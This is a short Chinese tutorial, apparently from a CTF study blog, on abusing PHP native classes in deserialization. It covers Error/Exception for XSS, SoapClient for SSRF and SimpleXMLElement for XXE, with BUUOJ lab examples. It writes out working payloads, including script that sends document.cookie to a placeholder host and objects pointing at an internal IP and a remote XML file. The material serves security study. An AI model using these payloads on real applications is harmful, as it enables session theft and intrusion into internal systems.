反序列化2:原生内置+略作进阶

outman
6
2025-05-03

原生类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__construct',
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}
?>

执行可以获得 php 原生内置类,最常见的有Error,Exception,SoapClient,Directorylterator,SimpleXMLElement

Error/Exception类进行XSS

//靶场:https://buuoj.cn/challenges [BJDCTF 2nd]xss之光

  1. 目录扫描,发现git泄露,下载源码

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
  1. 只有一个get上传,根据题目提示有关xss,是原生类的反序列化

  2. Exception类自带_tostring()方法,把类当作字符串使用时候触发,可以xss,get将poc上传

<?php
$poc = new Exception("<script>window.open('url'+document.cookie);</script>");
echo urlencode(serialize($poc));
?>

SoapClient类进行SSRF

  1. SoapClient类自带_call()方法,调用不存在的方法时候触发,location就是跳转地址

<?php
$a = new SoapClient(null,array('location'=>'http://192.168.1.4:2222/aaa', 'uri'=>'http://192.168.1.4:2222'));
$b = serialize($a);
echo $b;
?>

SimpleXMLElement类进行XXE

//靶场:https://buuoj.cn/challenges [SUCTF 2018]Homework

  1. SimpleXMLElement()第一个参数:加载文件地址,第二个参数:开关,2表示可以远程加载,第三个参数:true表示可以远程加载

<?php
$sxe=new SimpleXMLElement('url/oob.xml',2,true);
$a = serialize($sxe);
echo $a;
?>